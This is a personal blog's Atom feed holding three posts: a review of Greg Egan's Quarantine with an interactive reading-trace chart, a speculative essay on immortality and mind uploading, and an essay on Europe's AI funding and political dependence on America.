<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://leoveanu.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://leoveanu.com/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-09-20T20:19:52+00:00</updated><id>https://leoveanu.com/feed.xml</id><title type="html">Trimming Circles</title><subtitle>OMNE UNO IMPLICITUR, QUOD NON ATTINGITUR IPSUM</subtitle><author><name>Leo</name><email>leoveanu@proton.me</email></author><entry><title type="html">It All Adds Up to Normality</title><link href="https://leoveanu.com/2026-09-20-it-all-adds-up-to-normality/" rel="alternate" type="text/html" title="It All Adds Up to Normality" /><published>2026-09-20T10:00:00+00:00</published><updated>2026-09-20T10:00:00+00:00</updated><id>https://leoveanu.com/it-all-adds-up-to-normality</id><content type="html" xml:base="https://leoveanu.com/2026-09-20-it-all-adds-up-to-normality/"><![CDATA[<figure>
    <img src="../assets/2026-09-20-it-all-adds-up-to-normality/cover.png" alt="" style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“I let go of her hand, and she – <em>She fills the room.</em>”<br />
— Egan</p>
</blockquote>

<p>Books that tickle my mind deserve a dedicated section on this blog. I’ll make this a habit, starting with this one. Occasionally, I’ll reference older reviews I’ve left on Goodreads.</p>

<p>If you haven’t read the book and hate spoilers, stop reading. If, on the other hand, you’re interested in seeing the book through my eyes, read on.</p>

<hr />

<p>The other day, my father-in-law dropped by. My wife told me about it just a few hours before he arrived. At some point, he called her phone, and she asked me to answer it. I did. As always, I pulled his leg, and for a few minutes, we had fun together. We ended the call when he told me he’d just left and was heading toward us. “That’s about an hour,” I murmured. He didn’t catch it, and neither did I. I went about my usual routine, quickly dialing back in and continuing to inspect Kimi’s chain of thoughts as they streamed into my terminal and converged on what looked probably approximately correct.</p>

<p>Eventually, I stood up, looked at my wife, and asked her, “Where’s your father? He should be close.” The next moment, her father called for her to come down. He had just arrived. I started yapping at my wife about how “fine-tuned” my internal clock was, when a sudden thought brazenly barged in and settled on a disquieting question:</p>

<p><em>Did I collapse her father?</em></p>

<p>The whole book builds on that idea in a mind-bending, often humorous, and irreversibly scintillating narrative.</p>

<p>I’m an active (inveterate) reader guilty of excessive marginalia. More than that, pick any book in my library and you’ll see notes of the kind, “This reminds me of that.” I can only remember what I can associate. And because I’ve been associating things from an early age, my memory is especially well-calibrated for forming anchors. This also comes in handy when I’m mnemonically indexing materials I haven’t finished reading — or haven’t necessarily read at all. Friends often ask me, “What was that X you shared?” In most cases, the retrieval is instant: I know how to find it because I know where it is.</p>

<p>When it comes to reading books that repay close reading, I’m a slow reader — I tend to revisit passages, move back and forth through the text, imagine counterfactuals. I’m a bibliophilic gourmand. This time, I thought it would be rewarding to visualize my reading journey. What follows is akin to a sequence diagram: on the x-axis are the book’s pages (first to last, in percent), while the y-axis traces the topics I found myself drawn to.</p>

<style>
dialog:not([open]){display:none}
dialog{margin:0;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#000;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]#dlg-book{display:flex;flex-direction:column}
.trace-preview{cursor:pointer;transition:opacity .15s ease}
.trace-preview:hover{opacity:.85}
</style>

<figure>
    <img class="trace-preview" src="../assets/2026-09-20-it-all-adds-up-to-normality/preview.png" alt="Reading trace of Quarantine — 197 highlights mapped to topics across the book's pages" onclick="document.getElementById('dlg-book').showModal()" style="max-width:100%;" />
    <figcaption>Click to enlarge — best viewed in full.</figcaption>
</figure>
<dialog id="dlg-book" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button aria-label="Close fullscreen view" onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe title="Quarantine — a reading trace" src="../assets/2026-09-20-it-all-adds-up-to-normality/book.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>
<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>

<p>Some things immediately stand out. Prose and imagery are usually at the top of my list when I read fiction — discovering and relishing an author’s word choices opens a portal into their mind. More than that, I’m after the intricacies of the English language and the practice of articulating thought. The second obvious finding is how much I savored the physics buildup. Indeed, given the choice between sci-fi and hard sci-fi, I’ll always pick the latter. The same goes for any subject facing physics. But even that has exceptions. For instance, I had this to say about <em>Diaspora</em>:</p>

<blockquote>
  <p>I expected something different, and because of that I ended up slightly disappointed. I’m only going to focus on the story; I have nothing to say about the prose itself. Greg is a master.</p>

  <p>One design choice I hated throughout the book was the pronoun scheme. If you’re going to do something like that, it had better be more interesting than a gimmick that constantly breaks the reading flow. It was genuinely annoying.</p>

  <p>Anyway, the first part of the book was interesting. Then, once the physics theory kicked in—which was total bananas, and not exciting at all—it started going downhill. There were moments of brilliance, like the Wang-tile “carpet” creatures that turned out to be biological hardware running a sim which, upon inspection, contained a fully inhabited 3D space. Pretty cool.</p>

  <p>But I feel he spent too much time on a useless physics theory, plus pages of heavy jargon describing in words what he probably plotted in Mathematica. The result was an overload of technical nonsense you had to read and half-remember despite it making little to no sense. I like thorough descriptions, but not the kind that make me epistemologically crumble.</p>
</blockquote>

<p><em>Diaspora</em> was… weird, almost avant-garde, like an inflection point in Egan’s narrative. Through it all, <em>that</em> Egan didn’t feel like the Egan who had written anything before. The quantum ontology the younger Egan explored in <em>Quarantine</em> was far more perplexingly alluring.</p>

<p>But, unlike <em>Permutation City</em>, whose final pages blasted me like a positron cannon aimed directly at my skull, <em>Quarantine</em>’s felt slightly weaker. Not bad — weaker. It didn’t go where I wanted it to go. It’s as if the plot lost its way and found home in the most boring, common place: the familiar.</p>

<p>And yet, we all dwell in the ordinary. The mundanity, banality, normality — a comfort life keeps reasserting through the complacency of existence at a scale too vast for guilt. If we were truly slaughtering quadrillion selves, what other comfort could we encroach upon, if not <em>all adding up to normality</em>? <a href="https://youtu.be/jB3e1Jw837w">A thousand pieces in a jigsaw of beautiful mistakes.</a></p>

<p style="text-align:center;color:var(--color-dim);font-size:.875rem">All excerpts © Greg Egan, <em>Quarantine</em> (1992).</p>]]></content><author><name>Leo</name></author><category term="book review" /><summary type="html"><![CDATA["I let go of her hand, and she – She fills the room."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-09-20-it-all-adds-up-to-normality/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-09-20-it-all-adds-up-to-normality/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Immortal Will</title><link href="https://leoveanu.com/2026-08-02-the-immortal-will/" rel="alternate" type="text/html" title="The Immortal Will" /><published>2026-08-02T10:00:00+00:00</published><updated>2026-08-02T10:00:00+00:00</updated><id>https://leoveanu.com/the-immortal-will</id><content type="html" xml:base="https://leoveanu.com/2026-08-02-the-immortal-will/"><![CDATA[<figure>
    <img src="../assets/2026-08-02-the-immortal-will/cover.png" alt="Eugène Yvon César, César franchit le Rubicon." style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“Man is a rope, tied between beast and overman — a rope over an abyss. A dangerous across, a dangerous on-the-way, a dangerous looking-back, a dangerous shuddering and stopping. What is great in man is that he is a bridge and not an end.”<br />
— Friedrich Nietzsche</p>
</blockquote>

<p>This is part two of a two-part series.
You can read part one <a href="https://leoveanu.com/2026-07-26-the-kings-platforms/">here</a>.</p>

<p>This essay is ambitious and speculative.
This is about the future, a future that will outlast both of us.
It stretches beyond Europe, beyond the United States, and beyond the scope of any single life.</p>

<hr />

<h2 id="thymos">Thymos</h2>

<p>Every now and then, a young civilization reaches a moment of maturity at which it is compelled to ask itself: what <em>is</em> technology?
The question is ontological, and it is addressing us.
Beyond foreseeable bounds, Time reaches into the fortune cookie jar of potential history — this bundle of unrealized trajectories — to draw an ever more seductive strip and place it into the hands of Man.</p>

<p>This essay examines humanity’s <em>thymos</em> and its manifestations, whether auspicious in their promise or destructive in their consequences.
One such manifestation may take the form of the engineering of godlike artifacts.
The idea may appear ominous or merely foolish, yet it should not be dismissed outright.</p>

<p>The cover of this essay is Eugène Yvon <em>César franchit le Rubicon</em>.
I find Caesar an inspiring historical figure, and I guess Eugène did too.
When I am contemplating, I gaze at it.
It is an almost bewitching depiction of what thymos is.</p>

<p>Caesar was a <a href="https://youtu.be/SU1Ej9Yqt68?si=5ECCn_MkP1RAOzAP">brilliant</a> strategist, even though the painting does not make this fact evident.
What we are met with instead is like a prism that brings into view the constitutive elements of light.
Steadfast, Caesar is moving forward while chaos unfolds all around him.
He takes the whole compositional center, and unlike his horse, which displays more empathy than he does, he does not care about displacing the crowd, bodies underfoot.
The world is presented as a mere object fitting one’s hand, and already possessed.
It almost looks like a gift.
But a gift to whom?</p>

<p>To me, Caesar is neither hero nor villain in a moral sense within the painting.
He is inevitability given human form.
The terror around him is the price paid when one will manifests its own destiny.</p>

<p>From the sidewalk, today’s wills compete in a zero-sum game of flesh-and-blood proportions at precisely the moment when the forces they set in motion may be about to outpace us entirely.
Is Altman’s will stronger than Dario’s?
Is U.S. manifest destiny stronger than China’s?
We are, Stanislaw Lem suggested, “the last relic of Nature” — a biological substrate already in the process of being transformed beyond recognition by the invasion of technology into body and environment.
It is a tasteful figure of speech; we are marked as both precious and obsolete.</p>

<p>If you were Caesar reincarnated, how would your will bend the world?
What I am about to suggest as a plausible answer will probably sound ludicrous, but you are still reading.</p>

<p><em>Immortality</em>.</p>

<p>Immortality is nowhere more vividly portrayed than in great sci-fi.
Two books I am returning to quite often lately are Greg Egan’s <em>Permutation City</em> and Roger Williams’ <em>The Metamorphosis of Prime Intellect</em>.
If you do not enjoy reading, you could also watch Craig Silverstein’s <em>Pantheon</em> — it is close in spirit.
Immortality’s Latinate derivative stands for a being that does not die.
But, the Greek <em>afthartos</em> is more disquieting for what I am aiming for — flesh that does not rot.
In other words, the promise — especially in Christian works such as the Gospels — is not the absence of death, but new life for a dead body, “or else a new body,” as Sarah Ruden puts it.</p>

<p>Why do I believe this?
And when I say that, it is not something that might happen during my lifespan; it is more something that is directionally not only feasible, but worthwhile and transformative: a civilizational pursuit.
Let us take a look at two contemporary figures that make this impulse concrete in very different registers — one is Brian Johnson, and the other is the Pope.</p>

<p>Take Brian Johnson.
The public pursuit of a somewhat radical idea, even by modern standards, of life extension is not something new.
The project is slightly scientific, but its appeal is chiefly charismatic.
Johnson is a great performer, and because of that, his image carries vital force.
From ancient times, we look up to great public performance, especially of discipline, as it invites us to participate, silently or not.
Here, it is the mission of conquering death.
If you are a Zoomer, he is the aura unc.</p>

<p>However, longevity movements always produce saints before they produce results, because the charisma does the work the data cannot yet do.
He is also fighting the specific battle <a href="https://en.wikipedia.org/wiki/Tithonus">Tithonus</a> lost: not dying is easy to imagine; not rotting while not dying is the soul-crushing problem, and I think that he knows it.</p>

<p>The Pope’s position is more complicated because he does not seem to be rejecting the technological pursuits associated with transhumanism and posthumanism as such.
In fact, in his encyclical letter, <em>Magnifica Humanitas</em>, he argues that the Church is not opposed to technology pursuing those directions:</p>
<blockquote>
  <p>“From the perspective of the Church’s Social Doctrine, the key issue is not the use of technology as such, but the vision that underlies it.</p>
</blockquote>

<blockquote>
  <p>[…]</p>
</blockquote>

<blockquote>
  <p>We can embrace the technological progress that alleviates suffering and unlocks new possibilities, provided that we do not abandon the very essence of our humanity, namely the capacity for relationship and love.”</p>
</blockquote>

<p>I would love to pick the Pope’s brain on the following arbitrary nuanced theologically inflected questions.
Grace is a concept tantamount in substance, if not even more so, than faith.
What if, in the end, this life is not enough for some to find or discover god, but extending it just for the right amount of time could give them a chance to receive its grace?
Or what if someone wants to live forever, not for supremacy or glory, but simply to worship god?
What would an immortal pope be like?
Would it resemble the Genetic Dynasty, but of popes?
Is this even an allowed <a href="https://newtotse.com/oldtotse/en/ego/no_laughing_matter/snquiz.html">Game Rule of Catholicism</a>?</p>

<h2 id="frail-hardware-in-an-inhuman-universe">Frail hardware in an inhuman universe</h2>

<p>Despite being a tremendously narrow instrument,  my body is the first and last frontier of experience. Its blueprint somehow managed to endure thousands of years of adversarial pressure from a merciless environment. While calibrated for a thin survival band and living under a specific set of biospheric conditions, I can, from a medium-sized rock orbiting a regular star, describe a universe of overwhelming scale and violence.
And as I am</p>
<blockquote>
  <p>“[s]itting there on the heather, on our planetary grain, I shrank from the abysses that opened up on every side, and in the future. The silent darkness, the featureless unknown, were more dread than all the terrors that imagination had mustered. Peering, the mind could see nothing sure, nothing in all human experience to be grasped as certain, except uncertainty itself; nothing but obscurity gendered by a thick haze of theories. Man’s science was a mere mist of numbers; his philosophy but a fog of words. His very perception of this rocky grain and all its wonders was but a shifting and a lying apparition. Even oneself, that seeming-central fact, was a mere phantom, so deceptive, that the most honest of men must question his own honesty, so insubstantial that he must even doubt his very existence.”</p>
</blockquote>

<p>The likes of Alex Honnold, who scaled a 101-story skyscraper in Taiwan without any safety equipment, combined with minds like von Neumann’s, whose reach stress-test the definition of a polymath, together with all the other human beings, make up the phase space of our bodily reach. What lies beyond? It is not too hard to imagine the human body reaching Proxima Centauri, the nearest star to Earth after the sun, to expose a fatal design flaw. It would take Voyager 1, the fastest thing we have ever sent away, 75,000 years at its current pace to get there. That distance is unfathomably large. With any vessel capable of sustaining human life that we could realistically build given what we know, you are looking at a tens-of-thousands-of-years-long trip. In any vessel that we could conceivably build, it might still take several centuries.</p>

<p>In time, I got to know many optimists, whose standard response to such cosmic misfortunes defaults to homo sapiens characteristically not adapting themselves to hostile environments, but instead reshaping them to fit their biological necessities. I learned to spot this kind of inversion, and this one in particular has worked remarkably well on this planet, which is not entirely merciful, but predominantly docile. How poorly it scales, though, becomes glaringly obvious the moment you start contemplating the vicinity of neutron stars, or even gas giants.</p>

<p>And when reshaping falls short, we concoct such intricate contraptions that they become the only life support. Did you know that one astronaut in ten experiences fingernail trauma from the pressurized gloves? Or that you will lose one to two percent of your bone mineral density monthly, assuming a routine in which you exercise industriously two hours a day, six days a week? And satisfying your inner foodie’s cravings comes a distant second, with the engineered food judged by the harsher standard of whether it can still keep you alive. “A small price to pay for the view,” you could say. And I would nod.</p>

<blockquote>
  <p>“From the moment absurdity is recognized, it becomes a passion, the most harrowing of all.”</p>
</blockquote>

<p>It is absolutely astonishing that we can do science in the cold vacuum of space.
But do you notice <em>the</em> detail?
It takes a consciousness to “<em>be there</em>”, not a body.
I will make this less obtrusive by inviting you to partake in the following thought experiment.</p>

<p>You are floating in a salt pool.
It is dark, and the water is just about right, at skin temperature.
For a while you remember you are in the pool.</p>

<p><em>For a while</em>.</p>

<p>You put a headset on through which I feed you the eyes and ears of a low Earth orbit laboratory.
On your back, you slowly raise your hands, as if maneuvering something in the air above the water’s surface.
You are slowly losing touch with your bodily context while engaged in teleoperating robotic arms from a remote salt pool on Earth.
You are not careful enough and spill some acid over your right hand.
Your arm incessantly twitches and you feel a sudden pang.
But you remember you were never leaving the planet.
You are in your pool and knowing that proved enough to trigger relief.
But something did leave.</p>

<p>Signals arriving in the right patterns (or perhaps the <a href="https://dl.tufts.edu/concern/pdfs/wp988x11s">real patterns</a>), as far as we know, represent a brain inference that maps to a sense of having a body.
If I stroke a rubber hand that is in front of you while yours is gently brushed out of sight, within minutes, you will flinch.
The <a href="https://en.wikipedia.org/wiki/Body_transfer_illusion">body transfer illusion</a> is a well-established phenomenon.
The same signals induce a lot of trickery, including quietly adopting what seems to be a “new body.”
If it is not clear by now, I fall into the category of people that believe the body’s primeval duty is that of sustaining the mind and acting as an interface to the world.
I am not dismissing the body, though.
Bodies cultivate minds, but assuming favorable developmental conditions, every mind reaches its most elevated form, which, to me, for lack of a word, I will refer to as having noble-gas-like properties.
In short, I believe strongly in embodied intelligence, but I am a doubter of this hardware.</p>

<p>But I will assume you are an optimist, or much less skeptical than I am. Thus, what are the flesh-bound options we have on the table? Confined to Earth, we discovered a way of thriving under this closed ecology. It feels only natural to demand the same from a generation ship aimed to function for centuries. What about the physics of interstellar travel? At one-tenth the speed of light, your ship’s hull has to endure continuous sub-micron sandblasting from contact with the <a href="https://iopscience.iop.org/article/10.3847/1538-4357/aa5da6">interstellar medium</a>. Scale that to a sliver below the speed of light and your clock nearly stops. “Aha, but if our clock stops, is that not consolation?” No, not really. The energy cost will be tremendous and will forbid any attempt at reaching those speeds by any means we currently know of. What we are looking for has to be found somewhere else, if not in the physics of interstellar travel and closed Earth-like ecology.</p>

<p>What if you could instead just pause a mind? The biological contemporary analogue to a “paused mind” is anesthesia or coma — or any other state of unconsciousness that you can think of will do. Enduring eternity is a property of a conscious mind. If you are an avid reader, you might recognize that we had the nightmare version for decades. In King’s story, <em>The Jaunt</em>, the crossing is only safe for the sleeping. A conscious mind experiences eternity in the transit, and the story tells us that brings a violent, mind-shattering end. Egan wrote his own manual, most compatible with what I am laying down here being both <em>Permutation City</em> and <em>Diaspora</em>. Minds crossing interstellar space as software is an appealing modern intuition that does not break every regularity about the kind of things it claims to unravel. In that same spirit, Hume noted way before modernity bloomed that our minds can conceive anything that is already consistent — we can <em>picture it</em> — and that “or else a new body” becomes an enthralling proposition before ever reaching the stars within the bounds of known physics through hardening of the flesh. And even if you do not find it tempting, I am willing to surmise that we can both agree the first veritable interstellar travelers will not resemble anything like the astronauts of our day and age.</p>

<p>But this is not all peachy keen and idyllic. Stanislaw Lem speaks at length about the pitfalls of technological escape hatches. But no amount of freak Kaczynskiism will turn technology toward an exit door, as continued technological progress <a href="https://utopiaordystopia.com/2014/11/22/summa-technologiae-or-why-the-trouble-with-science-is-religion/">“has become both its own reward and a trap.”</a> The efficient market will conspire to widen its surface area for more technology while its metabolism will burn through gluttonous consumers like cellulose through a termite gut. And through it all, technology will manifest the mind’s utmost configuration in what Freeman Dyson eloquently articulated when he wrote that “God is what mind becomes when it has passed beyond the scale of our comprehension.” Indeed. And what it looks like up close does not resemble building AI, but in the limit, the willful conjuring of a god.</p>

<p>In the preface to Lem’s <em>Summa Technologiae</em>, Joanna Zylinksa masterfully framed our struggle:</p>
<blockquote>
  <p>“[p]olitics and ethics find it difficult to catch up with the development of science. As a consequence, they arrive too late to prevent various events from happening. This restricted freedom with regard to his own agency, combined with the lack of knowledge about being with others in the world, contribute to the human’s tragic condition.”</p>
</blockquote>

<p>Sixty years later, the events are still happening, and the ethics is still on its way.</p>]]></content><author><name>Leo</name></author><category term="musings" /><category term="ai" /><category term="speculative" /><category term="transhumanism" /><summary type="html"><![CDATA["Man is a rope, tied between beast and overman — a rope over an abyss."]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://leoveanu.com/assets/2026-08-02-the-immortal-will/cover.png" /><media:content medium="image" url="https://leoveanu.com/assets/2026-08-02-the-immortal-will/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The King’s Platforms</title><link href="https://leoveanu.com/2026-07-26-the-kings-platforms/" rel="alternate" type="text/html" title="The King’s Platforms" /><published>2026-07-26T00:00:00+00:00</published><updated>2026-07-26T00:00:00+00:00</updated><id>https://leoveanu.com/the-kings-platforms</id><content type="html" xml:base="https://leoveanu.com/2026-07-26-the-kings-platforms/"><![CDATA[<figure>
    <img src="../assets/2026-07-26-the-kings-platforms/cover.jpg" alt="Still from Civil War (2024), dir. Alex Garland: a soldier in red sunglasses holding a rifle, subtitled “What kind of American are you?”" style="max-width: 90%;" />
</figure>
<blockquote>
  <p>“Beware, baffled humans. Beware of false prophets who will sell you a fake future, of bad teachers, corrupt leaders and dirty corporations. Beware of cops and robbers, the kind that rob your dreams.”<br />
— Ryan Ray</p>
</blockquote>

<p>This is part one of a two-part series.
You can read part two <a href="https://leoveanu.com/2026-08-02-the-immortal-will/">here</a>.</p>

<hr />

<p>Needless to describe what has happened in the AI world in the past month.
I assume you follow the news and spare me the effort.
Here, I want to unpack <a href="https://europe2031.ai/">this</a> piece.
Occasionally, I might refer to things
the news have covered
by linking them,
if memory allows it.</p>

<p>The Europe 2031 piece is decent,
but what it lacks in depth,
it covers in
mimicry.
While predictive scenarios tempt with clairvoyant clarity,
stating the obvious is often necessary because
“there’s nothing more deceptive than an obvious fact.”
I want to say more about the bits left out:
the benevolent Leviathan that Europeans could thrive under,
if only they were willing to accept a social contract
paid for culturally.</p>

<h2 id="europe-isnt-a-thing">Europe isn’t a thing</h2>

<p>The United States has fifty states; Europe has forty-four countries, twenty-seven of which are EU members. That is not the first sentence of a world geography course, I promise. If you were to pick two American states and two European countries at random, and conceptually imagine a “cultural distance” as a measure of how many layers of everyday meaning have to be renegotiated when moving from one place to another, you would likely discover greater within-variance in Europe than in the United States. Stand in Romania and look outward and you will see a Romance island in a largely Slavic sea; part of that same sea, a Uralic island, not too far to the west, is almost tucked within. For some, it would not be too difficult to argue that the latter is even more linguistically isolated. As a Romanian, I still have not made up my mind about which is weirder.</p>

<p>To a wanderer’s foot, Europe’s rough terrain appears as a perpetual sense of mutual unintelligibility (or maybe, negotiated intelligibility). As it governs, Brussels is both overweening and invisible, the shadow of a government, never in the way Washington is. And that is because <a href="https://stefanschubert.substack.com/p/europe-isnt-a-thing">Europe isn’t a thing.</a></p>

<p>However, the mistake is to think of Europe as a failed United States. The apparent inconvenience of cultural difference may turn out to be Europe’s greatest strength, as its plurality enables diversity at a scale almost inconceivable to the American mind. Immigration does not unlock the same ethos. The American immigrant diversifies the host society from within, while the European neighbor diversifies it from beside. That is not to say that they both do not embody difference — they do. But at the same time, they are qualitatively different figures. Being a representative of a whole new world is less intrusive but more coercive for the latter.</p>

<h2 id="europe-has-an-obsession-with-america">Europe has an obsession with America</h2>
<p>If not a fetishism of sorts.
I will weave three threads: financial, political, and, for lack of a better word, clownery.</p>

<p>They say to follow the money. The picture that emerges is crystal clear: the euro favors American markets. But these capital flows are a drought. And as we sow our soil with dry tears, our intellectual heritage and European pride warm no soul when our technical founders are handed checks lighter than a feather. The same technology that is worth billions across the ocean — why not here?</p>

<p>Those who argue, “Not the same standards of living” or “We obviously don’t need as much of it,” miss the point.
A rack of B300s is worth the same inflated sum, regardless of geography.</p>

<blockquote>
  <p>“Dear Nvidia, we’re a promising European seed startup that just raised €700k to build the next generation of LLMs.
We’re active in pre-training.
Might we secure that $100M in compute credits to truly get somewhere?
Pretty please.”</p>
</blockquote>

<p>What is the most catatonic and deject tale of capital and influence drift if not that smearing Europe’s alleged crown jewel? Do not get me wrong, I like Mistral. My torrent account is 18 years old today (yes, I still have it). When they dropped Magnet links on Twitter, I thought that was undeniably bold and cool. But it was American capital filling an otherwise close-to-empty cup. It took several rounds and billions of dollars, and <em>still</em> were not European VCs leading the largest round — it was ASML which broke the pattern.</p>

<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#000;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]#dlg-capital{display:flex;flex-direction:column}
dialog[open]#dlg-politics{display:flex;flex-direction:column}
</style>

<div style="position:relative">
  <iframe title="European Capital Drifts evidence ledger" src="../assets/2026-07-26-the-kings-platforms/european-capital-drifts.html" style="width:100%;height:600px;border:none;display:block"></iframe>
  <button aria-label="Open European Capital Drifts evidence ledger fullscreen" onclick="document.getElementById('dlg-capital').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-capital" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button aria-label="Close fullscreen view" onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe title="European Capital Drifts evidence ledger" src="../assets/2026-07-26-the-kings-platforms/european-capital-drifts.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>

<p>On the political front, the contrast is subtler but no less insidious.
America has two parties and a handful of lonely independents.
I live in Europe and I have no idea how many parties there are.
Even ChatGPT says “it’s tricky,” but nonetheless (confidently, but wrongly) claims a total of 886 active core parties across 43 countries.</p>

<p>Here is a thought experiment.
You are a tech billionaire.
In Washington, you face a binary choice, but in Europe, you are met with a buffet of small, angry parties you can walk into with a single endorsement.
Do you think Elon Musk needed to buy the AfD?
Certainly not.
He only had to livestream with Alice Weidel because American elite attention <em>is</em> political capital.
In Europe, every promise factory gets its own version of “Make <strong>{Country}</strong> Great Again.”
A union of nations that is not a thing can be skillfully thwarted by gridlock.
And we have already seen that Europe is not a thing.
Vance traveled to Munich to declare there was “no room for firewalls,” whatever that truly means.
But if you notice, what actually “gets traveled” is attention.
In other words, never underestimate the legitimacy of an American nod.</p>

<div style="position:relative">
  <iframe title="Europe's Fragmented Right evidence ledger" src="../assets/2026-07-26-the-kings-platforms/eu-far-right-rise.html" style="width:100%;height:600px;border:none;display:block"></iframe>
  <button aria-label="Open Europe's Fragmented Right evidence ledger fullscreen" onclick="document.getElementById('dlg-politics').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-politics" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button aria-label="Close fullscreen view" onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe title="Europe's Fragmented Right evidence ledger" src="../assets/2026-07-26-the-kings-platforms/eu-far-right-rise.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>
<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>

<p>And I can safely say that through it all, as Europeans, we mock. I am certainly guilty of this. Armed with savage memes, we make terrific mockers, and there is not a day on which America is not Europe’s favorite punching bag. But jesters were employed at someone else’s court, and a jester who mocks the king in the king’s language, filling its daily appetite on the king’s platforms, is not a virtuous dissident, but an expendable jester, always one joke away from the gallows.</p>

<h2 id="a-view-from-inside-the-cockpit">A view from inside the cockpit</h2>

<p>The words before were meant to cover the harsh reality Europe 2031 hid — if not entirely left out — behind a rosy story. And they should be enough. But here, I will lay out my experience as a technical founder. And let me start by saying that I am not in the room where the future is being built, and probably never will be. I know the Internet like the back of my hand, so that gets me closer to the next room over, but pressed against the wall, straining to listen. Oftentimes, everything is muffled.</p>

<p>I run an AI deeptech company in Central Europe. It is not a frontier lab or a hyperscaler. Nor is it one of the names that appear in the sort of breathless <em>Wired</em> profile where the founder is photographed staring meaningfully at a server rack to connote visionary intensity.
I want to be careful here because I do not want to inflate or performatively deflate our own significance.
That might be tempting and almost irresistible.
I am merely saying that we are not those people.</p>

<p>But that is not to say that we were not a visionary company or that we could not anticipate the future.
I have to say that I have never felt the zeitgeist the way I have felt it in the past two years.
Most of my ideas instantly manifested in reality after I discussed them in closed circles in very elaborate and specific detail.
It was as if somebody would tune in and listen to my own thoughts.
You do not have to believe me.
People of far greater impact in my life had seen me at both ups and downs and would back what I write here, as they were <em>there</em> seeing me <em>performing</em>.</p>

<p>We were first in Europe in many ways.
We built software that leveraged large language models (<code class="language-plaintext highlighter-rouge">text-davinci-002</code> and <code class="language-plaintext highlighter-rouge">text-davinci-003</code>) before ChatGPT came out, and released it at roughly the same time as LangChain; in fact, we went public with the repository two weeks later.
We were seemingly less lucky, or we did not manage to take off the way a San Francisco-based company would, and that is fine.
We were cited by different labs that managed to raise hundreds of millions of dollars, while we did not manage to raise even one million.
We were also the first to build technology in Europe that was very early at that point and is now behind some ambitious projects.
We did all of this and did not earn much recognition because our geography does not give us an advantage.
Our technical prowess was not enough to navigate the muddled waters of European politics and capital flows.
We were a handful of people with a vision, but we were not the right people in the right place at the right time.
We simply wanted to build technology for Europe and not waste time.
Nobody understood the urgency of the moment, and we were not able to convince them.</p>

<p>Nonetheless, I am grateful for these experiences.
I had a surprisingly clear view of the entire room, much as a beggar sees more of the city than a king.</p>

<p>What I saw was not a shortage of intelligence.
Europe is capable of leading projects of equal, if not greater, challenge.
But Europe is teaching ambition the reluctance of a closed door.
It is Europe’s way of catching tigers only to tame them, cutting their fangs and claws and confining them to a space designed to fit an already distorted worldview.</p>

<p>I still remember to this day a conversation that we had with one investment fund from Germany that went quite far.
We were discussing for at least six months.
Then, part of our team met in person with the general partner, who, two weeks after that meeting, told us that he does not believe we can do it.
To this day, I still keep that email as a reminder and as fuel for a fire that will one day burn so brightly its warmth will be felt across the continent.</p>

<p>Ursula von der Leyen declared at the Paris AI Action Summit that the AI race is far from over and that global leadership is still up for grabs.
However, she was not describing the world as it is, but as it would need to be for the European self-esteem to remain intact.
In other words, she was acting.
